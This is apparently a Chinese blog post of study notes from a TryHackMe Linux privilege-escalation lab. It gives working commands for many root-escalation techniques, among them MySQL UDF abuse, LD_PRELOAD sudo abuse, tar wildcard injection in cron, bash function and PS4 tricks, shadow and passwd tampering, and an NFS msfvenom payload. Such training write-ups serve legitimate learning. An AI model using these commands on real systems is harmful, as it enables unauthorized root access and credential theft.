服务漏洞利用
MySQL正在以root身份运行,且服务的root用户未设置密码,即可以以root用户无密码连接到MySQL服务可以利用用户定义函数
UDF通过MySQL来以root运行命令,见这里切换到
/home/user/tools/mysql-udf下载下来
1518.c,并编译:1
2gcc -g -c 1518.c -fPIC
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
随后连接到
MySQL,创建一个do_system的用户定义函数UDF,来使用poc:1
2
3
4
5
6mysql -u root
use mysql;
create table noone(line blob);
insert into noone values(load_file('/home/user/tools/mysql-udf/1518.so'));
select * from noone into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';随后使用该函数将
/bin/bash复制一份到/tmp/rootbash,并设置SUID权限1
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
1
/tmp/rootbash -p

弱文件权限-可读的
/etc/shadow直接爆
root的hash就行弱文件权限-可写的
/etc/shadow创建一个自定义密码并
hash1
mkpasswd -m sha-512 [新密码]
然后将
root的原密码哈希替换为新的弱文件权限-可写的
/etc/passwd仍是生成一个新密码的
hash,并用其替换root用户行的xsudo-shell逃逸序列就是
sudo -l,再去GTFOBins 找显示有sudo功能的sudo- 环境变量sudo -l中查找被继承的环境变量:env_keep
可以看到
LD_PRELOAD和LD_LIBRARY_PATH都是从用户环境中继承,前者在运行程序时在其他所有共享对象之前加载一个共享对象,后者提供了共享库首先搜索的目录列表LD_PRELOAD使用在
/home/user/tools/sudo的preload.c创建一个共享对象,将LD_PRELOAD环境变量设置为新共享对象的完整路径并运行任意一个可以通过sudo运行的程序1
2gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
sudo LD_PRELOAD=/tmp/preload.so [sudo -l 看到的程序任意]
LD_LIBRARY_PATH再以
/usr/sbin/apache2为例,运行ldd来查看其使用的共享库使用
/home/user/tools/sudo的library_path.c创建一个和其中任意库同名的共享对象,再用sudo运行apache2,同时将LD_LIBRARY_PATH环境变量设置为/tmp,即输出的共享对象的位置1
2gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp apache2
定时任务-文件权限
就是
cat /etc/crontab找可更改的任务并替换为反弹shell定时任务-
PATH环境变量
PATH变量中有用户主目录,在这里写个shell即可定时任务-通配符
1
cat /usr/local/bin/compress.sh
注意这个定时任务里面的
*
tar命令在用户主目录使用了通配符*,而tar具有命令行选项。可以作为检查点功能的一部分运行其他命令,即在主目录新建这两个:1
2touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elftar命令运行时,通配符会确保扫描到这些文件,而由于其文件名是有效的tar命令行选项,其会被视为选项而非文件名那么再传一个
shell.elf即可SUID/SGID可执行文件-已知漏洞1
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
找到所有的
SUID/SGID可执行文件,然后慢慢找对应版本是否有漏洞SUID/SGID可执行文件-共享对象注入这个我不知道是怎么发现的
/usr/local/bin/suid-so容易受到共享对象注入攻击:运行看到其在退出前显示一个进度条:
用
strace来跟踪该文件,并搜索open/access调用和no such file错误:1
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
看到其试图加载家目录下的一个共享对象但未找到:

那么手动创建一个
.config目录,并用/home/user/tools/suid/libcalc.c生成一个.so并放到对应位置,再执行suid-so即可
SUID/SGID可执行文件-环境变量对于
/usr/local/bin/suid-env文件,发现其试图启动apache2
strings看一下字符串
这里还是不够敏感,从
service apache2 start应该发现是使用了service文件来启动服务器,但是没使用完整路径/usr/sbin/service那么就是新建个叫
service的shell,把其路径加到PATH里面即可SUID/SGID可执行文件-滥用shell1
/usr/local/bin/suid-env2
唯一的不同是其使用了
service的完整路径来启动apache21
/bin/bash --version
这里有个神奇的
trick:在bash版本低于4.2.048的情况下,可以令shell函数的名称与文件路径相同,再导出该函数,使其替代文件路径下任何实际可执行路径:即定义一个名为
/usr/sbin/service的bash函数,再导出:1
2function /usr/sbin/service {/bin/bash -p;}
export -f /usr/sbin/service随后运行
suid-env2即可
SUID/SGID可执行文件-滥用shell#2此类方法仅在
bash 4.4(不包括)以下版本生效在调试模式下,
bash使用环境变量PS4来显示用于调试语句的额外提示那么在使用
bash调试的时候将PS4变量设置为一个嵌入式命令来将/bin/bash复制到/tmp/rootbash并加上SUID权限:1
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2
再去
/tmp/rootbash即可密码和密钥-历史文件
就是看用户主目录中历史文件,其记录了命令行输入,如果在输用户名的时候输入密码就会被记录在其中
1
cat ~/.*history | less
密码和密钥-配置文件
就是找明文或可解密格式存密码的配置文件,在这里是:
1
cat /home/user/myvpn.ovpn
其指向:
/etc/openvpn/auth.txt其中找到明文密码
密码和密钥-
ssh密钥用户会备份重要文件,但有时未能使用正确权限保护他们
ls -la /看到隐藏目录.ssh找到
root_keyNFS使用
NFS创建的文件会继承远程用户的id,并启用了root压缩,那么ID会被设置为nobodycat /etc/exports检查虚拟机的NFS配置:
注意到
/tmp共享禁用了root压缩在攻击机上创建挂载点并挂载该
/tmp共享,再用msf生成一个调用/bin/bash的payload,将其保存在挂载的共享的目录下:1
2
3mkdir /tmp/nfs
mount -o rw,vers=3 10.10.108.95:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf在受害者上执行
/tmp/shell.elf即可内核漏洞
可以使用
Linux Exploit Suggester 2来扫描,然后脏牛提权
THM学习日寄26-Linux PrivEsc
- 本文链接: http://noone40404.github.io/2024/11/20/THM学习日寄26:LinuxPrivEsc/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!